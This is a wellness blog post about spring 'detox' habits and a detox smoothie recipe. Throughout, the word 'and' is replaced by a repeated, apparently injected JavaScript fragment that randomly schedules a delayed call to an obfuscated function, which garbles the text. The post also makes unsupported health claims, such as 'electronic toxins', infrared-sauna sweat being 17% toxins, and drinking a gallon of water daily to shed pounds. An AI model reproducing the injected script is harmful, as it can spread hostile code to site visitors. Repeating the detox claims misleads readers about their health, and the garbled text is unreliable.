7 Steps to P.U.R.E. this Spring

P.U.R.E.=Perspiration, Urination, Respiration, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Excretion

In a perfect world perspiration, urination, respiration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and excretion are how the body self regulates andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and detoxifies.  Well, as I am sure you know, this is no perfect world.  We are bombarded by toxins daily, in our water, in our air, in our food, stress andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and emotional toxins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even electronic toxins in the way of cellphones, bluetooth, wifi, etc. wreak havoc on our bodies.  If we don’t take the extra steps to eliminate these toxins properly they reside in our bodies causing illness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and disease.  Here are some simple cleansing techniques that will have you feeling lighter, cleaner, refreshed, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hopefully get you on the right track to a healthy P.U.R.E. this spring.

  1. Fresh air-Take your workout outside.  Garden, take your dog for a walk.  Go for a power walk, bike ride or a swim.  Get out of the stale air of your office or gym andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take in the fresh sunshine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and air found in nature.
  2. Fresh spring vegetables andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fiber rich foods-It’s spring andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Farmers Markets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and organic grocery stores are brimming with fresh local produce.  Start adding all things green to your diet.  Try something you have never explored before, like perhaps the fiddlehead fern, or challenge yourself to a big raw salad daily.  Check out our “recipe” section for spring suggestions.
  3. Infrared Sauna-Studies show that sweat from a traditional sauna contains about 3% toxins; however, sweat from a Far Infrared Sauna contains about 17% toxins. The deep detoxification benefits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and deep penetrating heat from Infrared Saunas make them an effective andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and essential part of your health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wellness regimen.
  4. Breathing Exercises-Deep breathing is one of the best gifts you can give to yourself.  Spend some time each day consciously breathing slow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rhythmically, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bringing air down deeper into your lungs. It is a simple trick to automatically get energized andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and focused. Practice yogic breathing which is done through the nose only.  Just concentrate on bringing your breath down deeper into your lungs. Picture your lungs expandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding with air as you breathe in. That is exactly what happens; shallow breathing only fills a small portion of our lungs but it is so much healthier andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and beneficial for all of our body’s processes, systems andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and organs, to fill the lungs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bring air deep down into them. Doing this drives more oxygen into the body which cleanses the blood, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in turn cleanses andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and benefits everything else.  Check out some of our breathing techniques “here.”
  5. Water- Hydrate, hydrate, hydrate!  It is well known that most Americans are dehydrated.  In fact, we can contribute many modern day diseases to lack of pure water.  Find the purest water you can get (that means no plastic bottles) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and challenge your self to drinking a gallon a day for a month andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you will be delighted by the results.  Your skin will be plumper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and clearer, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you will probably drop a few punds too, as water helps rid the body of toxins.
  6. Movement-Break a sweat daily.  Find an activity separate from the above mentioned walking, biking, swimming andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and infrared sauna andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and break a sweat daily.  Try yoga, rebounding, a sexy love session, anything you choose andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and break a sweat.
  7. Take a break from your devices-Electronic pollution is all around us.  Commit to some down time daily andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and turn it all off.  Try a meditation practice.  Check out some of our meditations here.  Or commit to a dinner with your friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stack all cell phones in the middle of the table face down.  The person that reaches for their cellphone first, picks up the tab!

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With spring upon us, it’s time to cleanse, tone, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and energize your body. This flat belly detox smoothie is not only super delicious, it will also give you heaps of energy, hydrate your body, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and improve nutrient absorption.

It is packed with colon cleansing fibers, antioxidants, omega 3’s, vitamin C andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many other beneficial phytonutrients to give your body some spring love!

Pineapple is packed with bromelain, an enzyme which aids detoxification andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and digestion. It breaks down fat, digests proteins, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reduces inflammation of the gut.

Banana, good source of fiber to keep your colon waste andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toxin free.

Cucumber has anti-inflammatory properties andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and helps eliminate waste materials andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fat.

Orange is a good source of vitamin C andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and liver cleansing glutathione.

Parsley is a loaded with beta-carotene, vitamin A, C, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and K to help protect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cleanse the urinary tract.

Coconut water helps to flush out more toxins, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is packed with electrolytes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many other essential nutrients.

Dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelion leaves are super cleansing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strengthening for the liver.

Chia seeds are a great source of colon cleansing fibers, omega 3’s, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many vitamins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and minerals to nourish your body.

Detox Smoothie Recipe (serves 2)

Detox Smoothie Ingredients

  • 1 ½ cup pineapple
  • 1 big frozen banana, peeled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and chunked
  • ½ cucumber
  • 1 orange, peeled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeds removed
  • ½ cup fresh parsley
  • 1 cup coconut water (or more till desired consistency)
  • 2 cups dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelion leaves
  • 1-2 tablespoons chia seeds

Detox Smoothie Instructions

If you own a high speed blender, throw in all ingredients andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and blend until smooth. Add more liquid if needed. If you don’t have a high speed blender, blend greens andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and liquid first, then add fruits.

Note: dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelion leaves are super cleansing but have a bitter taste. If you’re not used to green smoothies use less dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andelion andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and substitute with milder tasting greens such as spinach, romaine or bok choy.

greensmoothie

 

Let us know how you do on your path to P.U.R.E.

Y3

resources:

http://www.mindyourbodyoasis.com/infrared-heat-therapy.html

promotips.motivators.com

caseyjade.com

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